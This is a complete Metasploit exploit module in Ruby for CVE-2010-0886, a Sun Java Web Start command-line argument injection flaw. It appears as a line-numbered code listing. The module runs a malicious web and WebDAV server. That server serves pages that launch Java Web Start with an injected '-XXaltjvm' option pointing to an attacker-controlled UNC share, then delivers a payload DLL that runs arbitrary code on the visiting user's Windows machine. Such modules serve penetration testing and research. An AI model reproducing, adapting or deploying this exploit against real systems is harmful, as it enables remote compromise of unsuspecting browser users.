|   1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384  |  ## # $Id: java_ws_arginject_altjvm.rb 10404 2010-09-21 00:13:30Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote  Rank = ExcellentRanking  #  # This module acts as an HTTP server  #  include Msf::Exploit::Remote::HttpServer::HTML  include Msf::Exploit::EXE  def initialize(info = {})  super(update_info(info,  'Name' => 'Sun Java Web Start Plugin Command Line Argument Injection',  'Description'=> %q{  This module exploits a flaw in the Web Start plugin component of Sun Java  Web Start. The arguments passed to Java Web Start are not properly validated.  By passing the lesser known -J option, an attacker can pass arbitrary options  directly to the Java runtime. By utilizing the -XXaltjvm option, as discussed  by Ruben Santamarta, an attacker can execute arbitrary code in the context of  an unsuspecting browser user.  This vulnerability was originally discovered independently by both Ruben  Santamarta and Tavis Ormandy. Tavis reported that all versions since version  6 Update 10 "are believed to be affected by this vulnerability."  In order for this module to work, it must be ran as root on a server that  does not serve SMB. Additionally, the target host must have the WebClient  service (WebDAV Mini-Redirector) enabled.  },  'License'=> MSF_LICENSE,  'Author' => 'jduck',  'Version'=> '$Revision: 10404 $',  'References' =>  [  [ 'CVE', '2010-0886' ],  [ 'OSVDB', '63648' ],  [ 'BID', '39346' ],  [ 'URL', 'http://archives.neohapsis.com/archives/fulldisclosure/2010-04/0122.html' ],  [ 'URL', 'http://www.reversemode.com/index.php?option=com_content&task=view&id=67&Itemid=1' ]  ],  'Platform' => 'win',  'Payload'=>  {  'Space'=> 1024,  'BadChars' => '',  'DisableNops' => true,  'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff"  },  'Targets'=>  [  [ 'Automatic', { } ],  [ 'Java Runtime on Windows x86',  {  'Platform' => 'win',  'Arch' => ARCH_X86  }  ],  ],  'DefaultTarget'=> 0,  'DisclosureDate' => 'Apr 09 2010'  ))  register_options(  [  OptPort.new('SRVPORT', [ true, "The daemon port to listen on", 80 ]),  OptString.new('URIPATH', [ true, "The URI to use.", "/" ]),  OptString.new('UNCPATH', [ false, 'Override the UNC path to use.' ])  ], self.class)  end  def auto_target(cli, request)  agent = request.headers['User-Agent']  ret = nil  #print_status("Agent: #{agent}")  # Check for MSIE and/or WebDAV redirector requests  if agent =~ /(Windows NT (5|6)\.(0|1|2)|MiniRedir\/(5|6)\.(0|1|2))/  ret = targets[1]  elsif agent =~ /MSIE (6|7|8)\.0/  ret = targets[1]  else  print_status("Unknown User-Agent #{agent} from #{cli.peerhost}:#{cli.peerport}")  end  ret  end  def on_request_uri(cli, request)  # For this exploit, this does little besides ensures the user agent is a recognized one..  mytarget = target  if target.name == 'Automatic'  mytarget = auto_target(cli, request)  if (not mytarget)  send_not_found(cli)  return  end  end  # Special case to process OPTIONS for /  if (request.method == 'OPTIONS' and request.uri == '/')  process_options(cli, request, mytarget)  return  end  # Discard requests for ico files  if (request.uri =~ /\.ico$/i)  send_not_found(cli)  return  end  # If there is no subdirectory in the request, we need to redirect.  if (request.uri == '/') or not (request.uri =~ /\/([^\/]+)\//)  if (request.uri == '/')  subdir = '/' + rand_text_alphanumeric(8+rand(8)) + '/'  else  subdir = request.uri + '/'  end  print_status("Request for \"#{request.uri}\" does not contain a sub-directory, redirecting to #{subdir} ...")  send_redirect(cli, subdir)  return  else  share_name = $1  end  # dispatch WebDAV requests based on method first  case request.method  when 'OPTIONS'  process_options(cli, request, mytarget)  when 'PROPFIND'  process_propfind(cli, request, mytarget)  when 'GET'  process_get(cli, request, mytarget, share_name)  when 'PUT'  print_status("Sending 404 for PUT #{request.uri} ...")  send_not_found(cli)  else  print_error("Unexpected request method encountered: #{request.method}")  end  end  #  # GET requests  #  def process_get(cli, request, target, share_name)  print_status("Responding to \"GET #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  # dispatch based on extension  if (request.uri =~ /\.dll$/i)  #  # DLL requests sent by IE and the WebDav Mini-Redirector  #  print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")  # Re-generate the payload  return if ((p = regenerate_payload(cli)) == nil)  # Generate a DLL based on the payload  dll_data = generate_payload_dll({ :code => p.encoded })  # Send it :)  send_response(cli, dll_data, { 'Content-Type' => 'application/octet-stream' })  else  #  # HTML requests sent by IE and Firefox  #  my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']  # Always prepare the UNC path, even if we dont use it for this request...  if (datastore['UNCPATH'])  unc = datastore['UNCPATH'].dup  else  unc = "\\\\" + my_host + "\\" + share_name  end  jnlp = "-J-XXaltjvm=" + unc + " -Xnosplash " + rand_text_alphanumeric(8+rand(8)) + ".jnlp"  docbase = rand_text_alphanumeric(8+rand(8))  # Provide the corresponding HTML page...  if (request.uri =~ /\.shtml/i)  print_status("Sending JS version HTML to #{cli.peerhost}:#{cli.peerport}...")  # Javascript version...  var_str = rand_text_alpha(8+rand(8))  var_obj = rand_text_alpha(8+rand(8))  var_obj2 = rand_text_alpha(8+rand(8))  var_obj3 = rand_text_alpha(8+rand(8))  js_jnlp = "http: "  js_jnlp << jnlp.dup.gsub("\\", "\\\\\\\\") # jeez  # The 8ad.. CLSID doesn't support the launch method ...  #clsid = '8AD9C840-044E-11D1-B3E9-00805F499D93'  clsid = 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA'  html = %Q|<html> <body>Please wait... <script language="javascript"> var #{var_str} = "#{js_jnlp}"; if (window.navigator.appName == "Microsoft Internet Explorer") { var #{var_obj} = document.createElement("OBJECT"); #{var_obj}.classid = "clsid:#{clsid}"; #{var_obj}.launch(#{var_str}); } else { try { var #{var_obj2} = document.createElement("OBJECT"); #{var_obj2}.type = "application/npruntime-scriptable-plugin;deploymenttoolkit"; document.body.appendChild(#{var_obj2}); #{var_obj2}.launch(#{var_str}); } catch (e) { var #{var_obj3} = document.createElement("OBJECT"); #{var_obj3}.type = "application/java-deployment-toolkit"; document.body.appendChild(#{var_obj3}); #{var_obj3}.launch(#{var_str}); } } </script> </body> </html> |  elsif (request.uri =~ /\.htm/i)  print_status("Sending non-JS version HTML to #{cli.peerhost}:#{cli.peerport}...")  clsids = [ '8AD9C840-044E-11D1-B3E9-00805F499D93', 'CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA' ]  clsid = clsids[rand(clsids.length)]  html = %Q|<html> <body>Please wait... <object id="#{var_obj}" classid="clsid:#{clsid}" width="0" height="0"> <PARAM name="launchjnlp" value="#{jnlp}"> <PARAM name="docbase" value="#{docbase}"> </object> <embed type="application/x-java-applet" width="0" height="0" launchjnlp="#{jnlp}" docbase="#{docbase}" /> </body> </html> |  else  print_status("Sending js detection HTML to #{cli.peerhost}:#{cli.peerport}...")  # NOTE: The JS version is preferred to the HTML version since it works on more JRE versions  js_uri = rand_text_alphanumeric(8+rand(8)) + ".shtml"  no_js_uri = rand_text_alphanumeric(8+rand(8)) + ".htm"  html = %Q|<html> <head> <meta http-equiv="refresh" content="2;#{no_js_uri}" /> </head> <body> Please wait... <script language="javascript"> document.location = "#{js_uri}"; </script> </body> </html> |  # end of detection html  end  send_response_html(cli, html,  {  'Content-Type' => 'text/html',  'Pragma' => 'no-cache'  })  end  end  #  # OPTIONS requests sent by the WebDav Mini-Redirector  #  def process_options(cli, request, target)  print_status("Responding to WebDAV \"OPTIONS #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  headers = {  #'DASL' => '<DAV:sql>',  #'DAV'=> '1, 2',  'Allow'=> 'OPTIONS, GET, PROPFIND',  'Public' => 'OPTIONS, GET, PROPFIND'  }  send_response(cli, '', headers)  end  #  # PROPFIND requests sent by the WebDav Mini-Redirector  #  def process_propfind(cli, request, target)  path = request.uri  print_status("Received WebDAV \"PROPFIND #{request.uri}\" request from #{cli.peerhost}:#{cli.peerport}")  body = ''  if (path =~ /\.dll$/i)  # Response for the DLL  print_status("Sending DLL multistatus for #{path} ...") #<lp1:getcontentlength>45056</lp1:getcontentlength>  body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype/> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0132-b000-43c6e5f8d2f80"</lp1:getetag> <lp2:executable>F</lp2:executable> <D:lockdiscovery/> <D:getcontenttype>application/octet-stream</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> |  elsif (path =~ /\/$/) or (not path.sub('/', '').index('/'))  # Response for anything else (generally just /)  print_status("Sending directory multistatus for #{path} ...")  body = %Q|<?xml version="1.0" encoding="utf-8"?> <D:multistatus xmlns:D="DAV:"> <D:response xmlns:lp1="DAV:" xmlns:lp2="http://apache.org/dav/props/"> <D:href>#{path}</D:href> <D:propstat> <D:prop> <lp1:resourcetype><D:collection/></lp1:resourcetype> <lp1:creationdate>2010-02-26T17:07:12Z</lp1:creationdate> <lp1:getlastmodified>Fri, 26 Feb 2010 17:07:12 GMT</lp1:getlastmodified> <lp1:getetag>"39e0001-1000-4808c3ec95000"</lp1:getetag> <D:lockdiscovery/> <D:getcontenttype>httpd/unix-directory</D:getcontenttype> </D:prop> <D:status>HTTP/1.1 200 OK</D:status> </D:propstat> </D:response> </D:multistatus> |  else  print_status("Sending 404 for #{path} ...")  send_not_found(cli)  return  end  # send the response  resp = create_response(207, "Multi-Status")  resp.body = body  resp['Content-Type'] = 'text/xml'  cli.send_response(resp)  end  #  # Make sure we're on the right port/path to support WebDAV  #  def exploit  if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'  raise RuntimeError, 'Using WebDAV requires SRVPORT=80 and URIPATH=/'  end  super  end end  |